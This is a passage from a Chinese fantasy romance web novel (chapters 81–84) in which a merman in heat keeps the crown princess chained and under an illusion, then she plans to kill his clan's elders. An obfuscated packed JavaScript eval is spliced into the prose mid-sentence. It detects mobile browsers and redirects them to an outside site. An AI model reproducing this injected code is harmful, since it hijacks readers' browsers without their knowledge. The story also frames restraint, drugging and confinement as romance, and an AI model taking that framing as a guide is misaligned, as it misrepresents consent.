转着男人胸前发皱的衣襟,小幅度地摇头,微哑的嗓音显得闷闷的,小嘴巴飞快地倒腾,生怕说慢了被溟汐打断。 “阿汐,这些衣服都不好看,我不喜欢,不选好不好?” 溟汐纵容地点了点头,不喜欢这些啊? 没关系,他还有更多的衣服,道具堆满了大半座宫殿。 “好,不喜欢就不选,都依羲羲的。” 溟汐想到了他对君羲一见钟情后亲手布置的一间房,里面全都是他亲手给君羲画的画像。 圆形穹顶上是整面的透明琉璃镜,房间里有大大小小的暗阁,里面都是他时不时有兴致时索罗的一些“器物”。 “只是……羲羲,你拒绝了这些,就不能在拒绝我了哦。” 只要不穿这些布料少得可怜的奇怪衣服,君羲什么都愿意答应。 “好。” 溟汐将女人换了个姿势抱着,感受到她越来越滚烫的皮肤,明白这药效来得猛烈,需要先疏解一二。 君羲被溟汐以树袋熊姿势抱住,有力的臂膀拖住女人因他吻得用力而下滑的身子。 唇齿间,他舌尖不依不饶,霸道又强势,但凡君羲有任何推拒的动作,吻就会来得更猛烈些,狂风骤雨。 相反,若女人乖乖地让他吻,他便轻柔些,和风细雨。 他似乎在企图用这种奖罚分明的方式驯服君羲,让她沉沦情欲,不可自拔。 “唔……阿汐,嘴巴疼。” 那房间在宫殿最深处,发情期的溟汐又实在眷恋君羲身上的气息和唇齿间的滋味,所以他们走得并不快。 君羲有些委屈,溟汐怎么突然对她这么凶? 她嘴巴都快被他亲破了,他还不肯放过自己。 溟汐比君羲更委屈,发情期的满脑子都是和女人贴贴。 可现在,君羲拒绝和他亲吻…… [不可以拒绝哦,羲羲。] [之前你已经拒绝过一次了,所以,往后都不能拒绝我。] 溟汐一边在心里阴暗地想着,恨不得将女人整个融入他的身体,不分彼此。 但他表面上却是委屈极了,红着眼眶,深绿色的眸水雾弥漫。 被沾湿的长长睫毛卷翘,轻轻一眨。 “羲羲,为什么不给我亲?” 小尾音可委屈了,眼泪啪嗒啪嗒地掉。 男人三分泪,演到你流泪。 但,君羲就看不得自家夫郎受委屈,她就吃这套。 只是,她还没来得及去擦溟汐眼角的泪,就被男人凶狠地抵在门扉上,深深轻吻,久久不息。 无论她如何拒绝,男人都只会在她快要被吻到窒息前一秒给她喘息几秒钟的机会,然后又会继续掠夺。 君羲心里小人哭唧唧一声,嘤,阿汐好凶。 不知过了多久,君羲都要以为她会被活生生亲死时,溟汐总算满足了。 他心情好极了,后半段全程没有听到君羲的拒绝。 就该是这样的,不能拒绝他。 他伸手柔情无限地轻抚着女人娇艳欲滴、红肿不堪的唇。 “羲羲,就是这里了,我特意给你准备的礼物哦。” 话落,男人单手推开厚重的大门,门内,亮如白昼。 房间里的四面墙上,都挂着君羲的画像。 有她少年意气、猎场夺魁,也有她风流痞气、一笑生花…… 除了正常的画像,也有溟汐做了绮丽梦境后,为梦中情态或娇憨、或强势的女人做的画。 房间的正中央,是一张偌大的圆形贝壳床。 床的四周,蓝色的轻纱围,影影绰绰,如梦似幻。 溟汐一把关上大门,身上的薄荷海盐气息倾泄而出,浓厚的、强势地布满整个房间,笼罩住怀中女人。 他大步流星,蓝色轻纱扬起,二人倒在柔软的贝壳床上。 君羲察觉到不对劲时,双手已经被带着柔软皮毛的手铐束缚在床头。 细白的脚踝上也被锁上了一根细长的银色锁链。 “哗啦哗啦……” 随着男人征伐的动作剧烈响动,就像伴奏一般。 …… “唔……” 君羲睁眼,有种不知身处何年何月何日的感觉。 附近的环境也很陌生…… 她这在哪里? 君羲茫然四顾,她本想直接起身,却发现整个人都被健壮的男人拥在怀中。 她浑身都酸软无力,手指头都带着一股子酥麻娇软。 君羲拼命回想,她想起来了,东方炽和东方凌为了争抢替她解药的机会打了一架,然后…… 船沉了,她也被偷走了。 迷迷糊糊间,她似乎看到了溟汐。 “羲羲,早啊,睡得舒服吗?” 男人的背肌、胸前全是她抓出来的痕迹,此刻他睁开深绿色的眸,整个人就像一只得到餍足的猛兽,慵懒肆意。 君羲眨了眨眼睛,还有些反应不过来。 她动了动手和脚,才发现脚踝上的银色锁链,以及手腕间一圈红痕。 “阿汐,早啊。” 她将手举到溟汐眼前,她昨夜睡得好不好,某鲛人不是最清楚了吗? “这个……只不过是一些小手段,为了让羲羲不能逃跑罢了。” 第81章 因为羲羲不乖,总想跑 君羲嘴角微抽,溟汐是怎么做到把这种话说得如此理所应当的? 她昏迷过去几次,然后又清醒过来,只隐约记得锁链碰撞声响了整整一夜,后来她药性解了溟汐却像疯了一样,根本不肯放过她。 溟汐红着眼,一边哭一边动作。 “羲羲,你是我的,你是我的……” “羲羲,看,这些都是我给你画的画像,看看喜欢吗?若是喜欢,可以挑上几幅,到时候咱们凯旋归朝,一同带回东宫。” 君羲看了一圈,发现离她最近的床边又多了几幅画像。 这次的画像不再是单人画,而是有了男鲛人的身影。 他们是那么的亲密,也不知道溟汐是如何学丹青的,不过寥寥数笔便将满室春色刻画得入木三分。 君羲看了一眼就别过头。 “阿汐,那画脏了。” 溟汐有一搭没一搭把玩着君羲柔顺的长发,一会儿放在鼻间嗅嗅,一会儿要拿着自己的长发和女人的长发缠绕在一起,试图打一个结。 他漫不经心撇了那一幅画,果然有些脏了。 “羲羲,画脏了就不要了,我可以为你画更多。” 君羲:还是别了。 溟汐,做个人吧,放过她快要断掉的腰吧! 她满眼控诉盯着溟汐,试图让他对怜惜几分,放过他。 这一看,才发现不对。 她记得溟汐的是浅淡的嫩绿色,就像初春的嫩草芽一样。 此刻的溟汐眸色,却像被加深的墨绿,近乎黑色。 “阿汐,你的眼睛?” “羲羲,你知道鲛人有发热期吗?” 发热期? 君羲看过的一本杂志怪谈里有记录过鲛人一族的发热期。 据说,鲛人一族同伴侣心心相印后,就会生出独占伴侣的想法,发热期便是由此而来。 难怪,这次溟汐这么狠! 君羲有种不详的预感,初中记载鲛人一族实力越强大,发热期持续时间越长。短的三两天,长的可能六七天…… 溟汐浅笑,将女人柔顺的长发递到唇边,轻轻落下一吻。 “羲羲,看样子你是知道了?” 他暧昧地将唇凑到女人的耳侧说话,灼热的呼吸尽数喷洒在瓷白肌肤上。 “那你知道……” 君汐屏住呼吸,想要将男人的话听得更清楚一些,却听到男人从胸腔里传出来的一连串坏笑。 “今天已经是第三天了哦。” 君羲瞪大眼睛,第一反应就是不可能,她的时间观念不可能这么差! 溟汐就像知道君羲在想什么一样,一边吻着女人的耳骨,一边解释道: “因为羲羲不乖,总想跑。” “所以?” “所以我就对羲羲用了一点点幻术,幻术中,羲羲你感受不到时间流逝速度很正常。” 君羲:…… 她什么都不想说,她只想一个人静静。 早知道会这样,那天晚上,她就不该放任自己中药! 纯属是搬起石头砸了自己的脚啊。 溟汐见君羲不说话,还以为是将人弄生气了,一下就慌了。 “羲羲,你是不是生气了?” 君羲阴阳怪气。 “哪敢呀。” 昨晚……哦不,是之前三天,也不见溟汐因为怕她生气而停下啊! 溟汐可怜兮兮亲着女人的手指,另一只手在女人腰间按摩,帮她缓解身上的酸意。 “羲羲,别生我气好不好?呜~” 君羲不为所动,溟汐就是用这幅哭模样把她骗惨了! 什么小可怜,分明就是吃人不吐骨头的大骗子! 她背过身,倔强地不肯搭理服软讨好的男人。 “别烦我。” “羲羲,你要怎么才肯不生气?我都答应你,好不好?” 君羲仍然不说话,只是无声地晃了晃自己的脚,银链的声音哗啦作响。 溟汐瞬间领会了。 真是可惜了…… 他恋恋不舍地看了一下,那细白脚腕上锁着的精致银链。 锁链在羲羲身上这么好看,真舍不得拿掉,但他也不想君羲生他的气。 “咔哒——” 锁链应声而落,君羲暗自运功调息,没去管身后一直巴拉巴拉说话哄她的男人。 就在这时,外面传来了沉闷而绵长的敲门声。 “咚!咚!咚……” 君羲外面有更要紧的事情要去做,没工夫在这里耗时间。 听到敲门声,她整个人警惕起来,一个鲤鱼打挺坐起,就想去开门。 “羲羲,别紧张,外面的人是我弟和我母皇。” 君羲因为中药而变得混沌迟缓的思绪在这一刻终于清明起来,这话一出,便知道自己应该是被鲛人偷了之后,一路前往南海深处,现在是在鲛人一族的族地。 既然是溟汐的亲人,那就不必这般麻烦了。 她横了溟汐一眼,没好气道: “还不去开门?” 溟汐磨磨蹭蹭站起来,一步三回头,很明显,便是在等着女人对他说出挽留的话。 苍天可鉴,他真的一点都不想去开门,只想和羲羲在一起度过二人世界。 “羲……” 君羲不打算惯着他。 她也只是在书中了解到鲛人会有发情期,以及知道发热期是什么样的症状而已。 她不知道发热期除了伴侣一起交合度过外,还有没有旁的办法……能够让溟汐成功度过发热期。 外面的人如果真如溟汐所说,是鲛人一族的女皇。 那她必然知道如何该帮溟汐安稳度过发热期,毕竟君羲现在外面还有别的要事要做,没办法一直陪着溟汐。 而且由于溟汐对君羲使用了幻术,现在距离他中药离开已经过了整整三天! 也不知道羽城现在到底是什么样的情况,凤染和凤轻有没有得到关于漾州、绥州高层官员勾结倭寇的证据? 一想到这里,她便坐不住了。 整理好衣服,追上了溟汐的脚步。 “等等。” 溟汐眼神一亮,难不成君羲现在当真开窍了不成? 他心里美滋滋想着,脚步也是挪动不了一点了。 “羲羲,别担心,我会没事的。” “谁担心你出事了?” 她是怕溟汐发疯,到时候场面不好收拾。 “皇子殿下,你让我们进去吧。” “我们真的有很重要的事情要禀报,关乎到你妻主的性命,还请汐殿下让我等进去。” 第82章 君羲手扇情敌!(给莹宝宝的加更) 外面的人一直叽叽歪歪地劝说,敲门声这三天就没停下过。 她们在溟汐眼里面全都是“坏人”,想打扰他和妻主的二人世界。 溟汐心里烦她们烦得不行,去开门也是不情不愿的,还好君羲陪他一起,他心里的不情愿才削减了一些。 大手占有欲十足地将女人的小手紧紧握住,十指紧扣。 君羲看着一旁跟个傻狍子一样的高大男人,用力捏了捏男人握住她的大手,低声警告了一句。 “待会儿不许发疯。” 溟汐根本没听清楚君羲在说什么,妻主小嘴叭叭的,说什么呢? 想亲! 君羲没有听到男人回答,余光看向溟汐,才发现他在盯着她的唇走神。 果然,书里面说的没错,发热期的鲛人就是个满脑子色色的色胚! “听到没?” “听到了,我不发疯,前提是……” 溟汐晃着两人紧紧相牵的手,趁机给自己谋福利。 “羲羲要一直牵着我的手,不许放开,那我就听羲羲的话。” 处在发热期的鲛人智商不高,说话也十分幼稚,偏偏又在某些事情上格外的敏锐,也格外的聪明,满肚子的坏心眼。 君羲心里腹诽,纵然心里面真实的想法是见一见鲛人族的皇,从她那里得到帮溟汐成功度过发热期的方法,然后她才好趁早离去。 说不定此刻,东方炽和东方凌两兄弟,以及凤羽军都找她找疯了! 不能耽误时间,但也不能一走了之。 君羲嘴上不说,却将溟汐放在了心上,她可不想溟汐发热期出什么问题导致后续对他身体产生不良影响。 “开门。” 溟汐随手一挥,大门打开。 外面敲门的人,由于惯性,一个不查,险些全都摔进来。 她们勉强稳住身形,看向鲛人一族中默认最厉害的第一鲛人——溟汐。 “臣等见过汐殿下,殿下万福。” 溟汐都不带搭理她们的,好烦,都是来跟他抢人了! 她们身上的气味好难闻!而且这些气味还在沾染到他心爱的人身上!真是让他十分的难以忍受,好想把妻主藏起来啊…… 藏到一个谁也找不到的地方去。 “阿汐,不给我介绍一下?这些是?” 溟汐只有对君羲的要求才第一时间注意到,百依百顺。 妻主大人都发话了,他心里对这群人再不满也不会再冷脸。 他唇角勾起一抹皮笑肉不笑的笑容,看上去渗人得很。 让外面的敲门的人齐齐倒退一步,后背直冒冷汗,汐殿下今日怎么笑得这般恐怖? 溟汐以往每一次对待鲛人一族的敌人就是这样的笑,笑着将敌人杀得片甲不留。 “羲羲,这三位都是我鲛人族的股肱之臣,大将军溟月、礼部尚书月蓝……” 君羲随意拱了拱手,面上的礼仪十分周到。 “诸位有礼了。” 溟月和月蓝都听说过君羲恶名,就是她,强行下止,要鲛人一族,献出皇族皇子同大凰国联姻,否则便要出兵南海,踏平鲛人族。 原本这桩婚事怎么都轮不上溟汐去的,但是架不住他是个恋爱脑呀! 所以,她们原本找的替嫁人选根没用上,还被溟汐通通打晕,自己孤身一人去了大凰玉京城。 她们每每想到此事,都觉得是自家养的水灵灵的一颗白菜主动送上去,被猪给拱了! 鲛人一族是天生的美貌,在她们打量军需的同时,君羲也在打量她们。 君羲唇角微勾,有意思。 她们看自己的眼神很奇怪,像仇恨,又像是不服气。 “诸位,有话不妨直说。” “我家阿汐劳累了三天,需要休息,没什么要事要说的话,就离开吧。” 君羲并不想和这些人说什么,鲛人一族想和她谈话,至少得派出分量够重的人来才行。 溟月、月蓝虽然在鲛人族中颇有地位,但君羲还看不上。 无他,她们看溟汐的眼神,暗藏爱慕,她很不喜欢。 月蓝上下挑剔地扫视着君羲,撇撇嘴。 “原本还以为能让汐殿下看中的妻主会是什么女中豪杰,没想到,却是这么一个看上去便弱不禁风的小白脸,真不知道汐殿下看中了你哪一点!” 呦? 还真喜欢她家鲛人啊? “可能,看中我貌美吧。” 说着,君羲嫌弃地看着对面的雌性鲛人。 别看月蓝任职的岗位是叫礼部尚书,感觉应该是一个风度翩翩的纤瘦女郎,实际上的她却长得十分粗犷。 不修边幅的样子让君羲频频蹙眉,实在是不配喜欢阿汐。 “你这样的,在鲛人一族也算异类吧?” 月蓝被气得胸膛上下起伏,君羲居然攻讦她的容貌。 她单身到现在,就是因为生了一副粗犷、不符合当下鲛人审美的长相,这才对鲛人族最好看的溟汐动了不该动的心思。 月蓝想的是,如果她真的娶到了鲛人一族高高在上、容颜绝世的汐殿下。 那旁人还会说她容貌丑吗?毕竟他都娶到汐殿下了,就说明她相貌还是有可取之处的! 月蓝没想到的是自己美梦还没成真,半路便杀出一个程咬金,将汐殿下一颗心全都勾走了。 “呵……” “以色侍人,能得几时好?” 君羲都没将月蓝放在眼里,她朝着溟汐勾了勾手指,示意男人低下头。 然后啪叽一下亲上去,把在场的人都硬控住了。 月蓝神色恍惚,她还记得汐殿下不输族中雌性鲛人的勇猛以及军事才华。 爱慕汐殿下的雌性鲛人很多,但汐殿下从未给过她们好脸色,行军打仗赢了也只是唇角轻勾。 没想到,在君羲面前却这么听话。 哪里还有昔日率领鲛人勇猛士兵,大杀四方的神勇? 得不到,就毁掉。 既然她月蓝此生都无法得到汐殿下的青睐,那她也不会让溟汐这个有眼不识泰山的男鲛人得意美满! “啪——” 君羲厌恶月兰看向溟汐的眼神,这是一条不强但恶心膈应人的烂虫! 君羲甩了甩手,又是一巴掌扇过去。 “你算什么东西,也敢用这种恶心的眼神看孤?” “喜欢孤的爱夫?你不配!” 月蓝咬碎了一口牙,满眼都是对君羲的恨意。 “溟月,难不成你真想一直看戏不成?” “族中教人,谁人不知,谁人不晓……你溟月才是和汐殿下青梅竹马长大,又定下婚约的未婚夫。” 溟月伸手扶额,她对溟汐只是亲情,族中也不知道是哪个王八羔子传的谣言,才让她们被误会至深。 早知道月蓝这般上不得台面,连君羲来这里的原因都打探不出一点点苗头,她就该换一个人带过来。 “陛下,还请现身,我想,太女殿下只想和你单独说。” 一处不显眼的墙根,头戴王冠、身穿鲛人族特有服饰的女皇出现在面前。 银发碧眸,整张脸精致得不行,完全就是女娲炫技之作。 哪怕是到了四十多的年纪,却仍然看上去如同二八少女。 “鲛人陛下,久仰大名。” 眼前的人一看就是溟汐的亲生母亲,也就是她的岳母,对该客气的人,君羲也会客气相待, “不知可否移步详谈?” 溟霜眼神落在二人交握的手上,眼底神色晦暗不明。 “可以。” “你们都退下,朕有话要和大凰太女殿下详谈。” 月蓝不甘心地想说些什么,溟霜眼神陡然变了。 “拖下去。” 族中官员一代不如一代,居然仗着有点苦劳就肖想她的儿子,也配? 月蓝祈求的眼神放在溟汐身上,却直接被溟汐忽略掉了,他眼中只有妻主,至于别人,他甩都不甩! “唔……唔……” “汐,你就偷着乐吧,这辈子有我这么个好兄弟,替你费心筹谋。” 溟朝坏笑着从墙角跳出来,一脸坏笑。 “怎么样,爽不爽啊?” 溟汐冷眼,“你不来,我会更爽。” 溟朝颇有一种费力不讨好的感觉,他自己都觉得自己犯贱,跟在身后骂骂咧咧。 溟汐完全冷暴力处理,溟朝伸手轻打了自己嘴角两巴掌。 “让你多嘴,让你多管闲事。” “溟汐,以后老子在管你,名字就倒过来写!” 君羲勾了勾男人掌心,内力传音。 “阿汐,真的不管他吗?” 溟汐撅嘴,不开心,就知道咋咋呼呼的堂兄会吸引妻主的注意! “不管。” 话落,拉着君羲的手就跟上溟霜的步伐。 四人依次落座,溟汐自然粘在君羲身边,像个无论如何都甩不掉的挂件。 君羲无法,放任溟汐贴贴的粘人动作。 “岳母,我就打开天窗说亮话了,阿汐应该是第一次进入发热期,你经验比较多,可否知道有什么别的办法能代替交欢安全度过平稳期?” 溟霜眸中寒光一闪而过,有伴侣的鲛人,发热期最好是和伴侣一起度过才是百分百没有副作用。 旁的办法虽然也有,但有几率会对鲛人产生影响。 她又看了下自己不值钱的儿子,扶额。 “为何?阿汐第一次发热期,你就不愿意陪他一起度过。” 溟霜转了一圈桌上的茶杯,有些怒了。 “有什么要紧的事值得你丢下发热期的伴侣去处理?” 君羲苦笑一声,将事情的前因后果全部说出,溟霜也不是不通道理之人,一听也就同意用别的办法帮溟汐度过发情期。 溟汐一脸懵,怎么没人问过他的意见呢? “我不!” 第83章 阿汐他娇气,怕疼 溟汐拉着君羲的手,眼巴巴望着,死命摇头,跟大狗洗澡后甩水一样。 君羲无法,只能安抚发情期变得幼稚、爱哭、喜欢贴贴的夫郎。 “阿汐,听话。” 溟汐撇嘴,带着鼻音哼唧,可幼稚又有点可爱。 “不要。” 他别过头,双手捂住耳朵,只要他没听到,就可以当做不知道。 溟霜看着君羲和溟汐二人一个闹一个哄,心里思绪万千,复杂极了。 溟汐这孩子从小要强,自从他君父郁郁而终后,他脸上便渐渐少了笑容。 小鲛人端着成年鲛人模样,少年老成,不会轻易让情绪外泄,何曾像现在一般,如同一个孩童一样任性胡闹? 只有被偏爱的人,才会敢恃宠而骄。 见微知著,溟霜至少可以肯定,君羲对她儿子是极好的,这个大凰太女,或许并不像传闻中那般无心无情。 “太女殿下,旁的办法不是没有,就看你舍不舍得了。” 溟霜悠悠喝着一杯茶,眼底精光闪烁,她此生唯爱溟汐的父亲,却因一时懦弱痛失爱人,母子离心。 她并不愿意,溟汐走她的老路。 甜言蜜语或许可以伪装,但若涉及自身安危,就能检验出一个人是否真心。 君羲:“岳母,您尽管说,只要我能做到,便会不遗余力去做。” 君羲顿了顿,想到之前溟汐忍疼的样子,要求道: “要副作用最小的,阿汐他娇气,怕疼。” “副作用小的法子自然有,需要太女你的心头血以及一截头发。” 溟霜说着,眼神一错不错的落在君羲身上,她倒要看看,君羲为了溟汐,能做到什么地步。 但溟霜万万没想到,君羲这个人,不动心则已,一旦动心,都是个不折不扣的“疯子”。 心头血而已,比不上溟汐安危万分之一。 “好,需要多少?” 君羲侧头看向还在捂耳朵的鲛人,浅笑。 “一定要保证阿汐安然无恙。” 眼睛是灵魂的窗口,溟霜试图从君羲的眼中看出任何一丝虚情假意,但,没有。 君羲坚定又宠溺的眼神告诉溟霜,她是认真的。 溟霜嘴角挂上一抹苦笑,若是当年的她也能如君羲这般坚定……那溟汐就能有一个快乐的童年,她也不至于每每半夜惊醒,蹉跎半生。 天下有情人终成眷属,年轻真好啊。 溟霜原本因为君羲花心风流的名声对她印象不好,但这次见到她本人后,却觉得君羲还是有可取之处的。 鲛人一族痴情,加上溟汐是个恋爱脑,双重效果叠加,想要让溟汐离开君羲根本没有可能。 溟霜在心里叹了口气,罢了…… 儿孙自有儿孙福,她又何必做那个棒打鸳鸯的恶人? 溟汐既然喜欢上了人类女子,那她身为母亲,顶住族老压力也会成全他。 溟霜想到族中不安分的族老,因溟汐是鲛人一族千年来天赋最强的鲛人,却偏偏是男儿身。 族中那几个老不死的,嚷嚷着不能让血脉稀释,给他精心挑选了七个待选雌主。 这手段,和曾经逼迫她一模一样。 溟霜冷笑出声,可笑的是,鲛人族溟汐是她和人类男子的孩子,却继承了鲛人族最强天赋! 这是对族中老不死的最好的反击。 如今,她们又想用同样的理由来逼迫她儿子就犯…… 溟霜眼底划过一抹冷光,这一次,她要将这些个墨守成规、迂腐不堪的老不死彻底按死。 “好儿媳,朕能看出你对阿汐是真心的,朕也不瞒着你了,阿汐发热期待在鲛人族中会有危险。” 君羲心中诧异,若她没记错,溟汐的母皇是极其疼爱他的,将对早逝夫郎的爱和愧疚全部补偿给溟汐。 溟汐才能违背鲛人族族训,和外族通婚,背后正是溟霜在替他承受压力,保驾护航。 她又看了一眼溟霜,鲛人族寿命是人族的两倍,四十岁的鲛人族女皇正是年轻力壮、权柄在握的巅峰时期。 若溟霜在族中,都不能保证溟汐的绝对安全,只能说明,鲛人族里有让溟霜忌惮的鲛人。 “哦?岳母此话怎讲?” 溟霜纠结了一下,还是决定坦诚。 君羲既然已经是溟汐的妻主,她自身也是权势滔天,手握重兵的皇太女,未必就没办法对抗鲛人族族老。 溟霜痛失爱人后,唯一的心愿就是溟汐此生能得偿所愿、平安喜乐。 隐瞒只会让情况变得更糟糕,她绝不会再犯这样的错误! 溟霜心底苦涩,将族中对溟汐的算计一一道出。 …… “事情就是这样。” 君羲没想到,鲛人族老居然是这样的货色,溟汐这个傻子,当初孤身一人出逃,违背族训,被族老追杀,虽然有溟霜暗中相助,但肯定吃了很多苦! 可,他在她面前从未提起过这些过往。 “岳母,依孤看,你就是对她们太仁慈了。” 若是放在大凰,君氏宗老敢对她指手画脚,插足她的人生,想让她像个提线木偶一样按照她们意愿做事…… 呵。 君羲周身猛然一厉,锋锐不可当。 她们若是敢,君羲就敢杀得她们怕了,主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666052|172981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收起不该有的心思为止! “并非朕心慈手软,她们有族的庇护,深受族人爱戴,想对她们动手,并非易事。” 君羲忍住骂溟霜懦弱的冲动,若她和溟霜异地相处,这么多年,足够谋划一切。 将她们从族地中诱出,直接杀了,一了百了! 哪管族中鲛人议论冲天? 胜者为王,败者为寇。 事实究竟如何,还不是由胜利者书写? 溟霜是个好母亲,却少了为君者的魄力。 女人把玩着身侧男子如玉修长的大手,漫不经心地揉捏,轻声问道: “岳母,若我说我能派兵帮你把她们全都杀了,你可下得了这个决心?” 全杀了…… 这、溟霜倒吸一口凉气,君羲残暴名不虚传。 她想的是**,让为位高权重的族老们,眼睁睁看着自己大权旁落、圈禁黑海。 君羲像是看出了溟霜的心思,不紧不慢问。 “斩草不除尽,春风吹又生。” “岳母,你不想取她们的性命,可曾想过当初她们逼迫你夫郎,以及阿汐时……可曾有过一丝心软?” 君羲看出溟霜眼神闪烁,显然是对她的提议心动,却又下不了决心。 她继续添材加火,一句话直击溟霜心脏。 “别忘了,溟汐的生父、你的挚爱,是因她们才郁郁而终。” 溟霜闭了闭眼睛,君羲说得对,她这些年就是软弱无能。 居然因为心中那一丝可笑的仁慈,容忍杀害他爱人的罪魁祸首,在他族中快活悠哉地活了十多年。 溟霜想起溟汐父亲郁郁而终时,一张脸毫无血色地躺在她怀中,就像被强行抽走生机的花朵,快速枯萎凋零。 终于下定了决心。 “太女殿下,你想如何做?” 君羲自然是想一劳永逸,可惜,现在不是时机。 但是,收些利息还是可以的。 “杀族老的事情先不急,现在,告诉我,阿汐的七个待选雌主在哪里?” “你问这个做什么?” “自然是……证明孤才是最配阿汐的人!” “你不是有要事要做?时间上来得及吗?” 溟汐眯眼,脑袋靠在男人宽阔的肩膀。 “温壶酒的功夫就足够了,不过一群废物,也敢和孤抢人?可笑。” 溟汐听得云里雾里,他好奇问道: “羲羲,你是要为我打架吗?” “是啊,孤的阿汐魅力太大,孤可不放心留你一个人在鲛人族中。” 溟霜提醒君羲。 “她们听说阿汐回来,此刻全都汇聚在夜明广场。” 第84章 深海里,窒息中,她们接吻 君羲起身,她站着,溟汐坐着。 男人的手抱住女人的腰,他整个人都埋在女人腰侧,深深吸着独属于女人的冷香。 “羲羲,我不要你为我打架,我只要你好好的,陪着我。” “可不可以不去?” 君羲有一下没一下抚着男人柔顺的银色长发。 “阿汐,放心,她们都不是孤的对手。” 溟汐不说话,只是抱着女人腰的手更紧了些,流出的眼泪浸透了她腰侧的轻薄布料,略微滚烫却又微凉的触感,让君羲腰侧发烫。 “阿汐,你喜欢的人,会一直做你的盖世英雄。” 溟汐听到盖世英雄这个词,瞬间想起了他和君羲的第一次见面。 是啊,他的意中人,从来都不是畏畏缩缩、止步不前的懦夫。 羲羲,她有自己的想法,自己若真是爱她,就该接受,在背后默默支持她。 溟汐抽抽了鼻子,拉过女人的手在他脸上胡乱擦着眼泪。 “羲羲,那你不许受伤哦。” “好,孤答应你。” …… 夜明广场,溟朝鬼鬼祟祟、探头探脑查探情况。 只见那圆形擂台上有七个雌性鲛人,或坐或站,眼底是如出一辙的不耐。 若不是为了让后代能传承最优秀的血脉,她们身为尊贵的雌性,又是族中族老之孙女,怎么可能会为了一个失了清白的雄性鲛人争来抢去? 汐殿下是厉害不错,可惜,生错了性别,此生,注定只能成为待价而沽的生育工具。 “怎么还不来?祖母不是说给女皇施压了吗?” “哎,汐已经嫁作人夫,真是委屈我等了。” “汐殿下虽说只是雄性鲛人,但我们鲛人族发热期,可不是君羲一个区区人族可以承受的……” “你说得对,说不定这会儿,汐发现把伴侣弄死在床上,正在哭鼻子呢!” “哈哈哈……” 溟朝听得火大,这群仗着族老身份地位横行霸道的雌性鲛人,真的很讨厌! 他拳头捏得咯咯作响,暗啐一口。 “呸,都是汐的手下败将,嚣张什么的嚣张!” 他刚想去溟汐所居宫殿通风报信,没想到,一转身就看到了相携而来的君羲和溟汐。 他好兄弟嘴角就没下来过,真是没眼看! 溟朝心中还生气溟汐之前不理他之事,但他知道轻重缓急。 “汐……还有你!麻烦赶紧跑,她们正商量着,谁成为魁首,就能获得延续皇族血脉的机会。” “溟紫她们背后站着族老,你们不是对手,快走吧。” 溟朝选择的通风报信的地方,很能避人耳目。 君羲心中有了主意,她虽然相信溟汐的母亲有这个能力可以帮她一把,但她心中,最相信的永远只有自己。 所以她决定来一招出奇制胜,以防赶狗入穷巷,敌人被逼急了后,狗急跳墙。 “溟……” 遭了,有点记不得他名字。 溟汐:“溟朝。” 君羲心领神会,朝溟朝招了招手。 溟朝一脸傲娇,并不愿意就这么轻易妥协,但是…… 溟汐脸都黑了! 溟朝就像见到什么稀奇场景一样,屁颠屁颠就大步跑了过去,杵在二人面前。 于是,溟朝就看见溟汐的脸更黑了。 溟朝恨不能仰天长啸,哈哈哈,终于给他找到克制溟汐的法子了。 君羲是溟汐的软肋,只要能拿捏君羲,就能进一步拿捏溟汐。 可惜了,想象很美满,现实很骨感。 他刚想装模作样,回想着族中那些流落风尘中的男鲛人是怎么勾引雌性鲛人的。 刚有一点动作,便被眼疾手快的君羲侧身一躲,整个人摔了个狗吃屎。 溟朝气惨了,吐出口中的泥。 “泥们两个王八蛋,亏老子对你们这么好,专门给你们送消息,真是世风日下,人心不古啊。” 君羲蹲下身,就见溟朝一脸愤愤不平,却能看出眼底深处对溟汐的担心。 为了防止某条小醋鱼把自己酸死,她从一旁拾起一根珊瑚枝,捏在手中,戳了戳溟朝额头。 “喂,给你一个当大侠的机会要不要?” “哼。” “孤说真的,待会儿若有鲛人追杀孤和阿汐,全靠你力挽狂澜了。” 还有这事儿? 溟朝虽然仍旧背对着他们,但那微动的耳朵,还是出卖了他的在意。 君羲从怀中掏出一块龙形玉牌,轻放在明朝面前。 “这是孤的玉佩,见此玉佩如见孤本人,你带这枚玉佩去羽城城郊找凤染或凤轻,然后告诉她们:主危,速来。” 溟朝拾起玉佩,左看看右看看,但无论他怎么看,也没能把玉佩看出一朵花来。 这玉佩和他们海底的珍宝比起来,无论是质地还是外表,都差远了。 “就这?” 君羲发现,溟汐这个好兄弟,有时候说话是真的很气人,比如现在…… 君羲没好气翻了个白眼。 “对,就这。” “这么简单的任务,不会有人真的做不到吧?” 激将法,对付溟朝这种青春期的混小子就有效。 果然听了君羲的话后,溟朝显然被激到了。 “你说谁不行呢?小爷行得很!” 君羲:…… 突然有些后悔把这枚玉佩交给他,是怎么回事? 像是看穿了君羲的想法似的,溟朝一把将玉佩攥在掌心,然后往胸口里面塞。 紧接着,两只手死死捂住胸口,一副生怕有人跟他抢玉佩的样子。 “孤和阿汐的安全,就交给你了。” 溟朝提到正事,整个人也不嘻嘻哈哈了,郑重承诺道: “放心,小爷必不辱使命!” 送走溟朝后,君羲牵着溟汐去了视角最好的观赏台。 “阿汐,你就在这儿等孤。” 话落,不等溟汐说出否定的答案,君羲就拿起观众席上一个空杯,拎起酒壶,给溟汐倒了一杯酒。 溟汐伸手去拿,君羲不躲不闪,然后内力运转,将酒温到合适的温度。 “阿汐,不要担心,孤向你保证,在这杯酒变凉之前,定然能将这些个虾兵蟹将,歪瓜裂枣,打得落花流水。” 君羲并没有将擂台上的七个雌性鲛人看在眼中。 在她看来,这七个雌性鲛人,都是脑子不好的蠢蛋! 被鲛人族老祖当枪使了都不知道! 当然,也有一种可能是,那些老不死的就在这附近,自信能够保护好自己的孙子,所以才放纵他们如此肆意妄为,打皇族的脸面。 无论是哪一种,君羲都会教她们重新做鱼。 “呦,就是你啊?小白脸。” 君羲并不想和他们逞口舌之快,只想以最快的速度激怒对手,然后一举将他们全部击破,用绝对的**他们,不敢再对她的男人有想法。 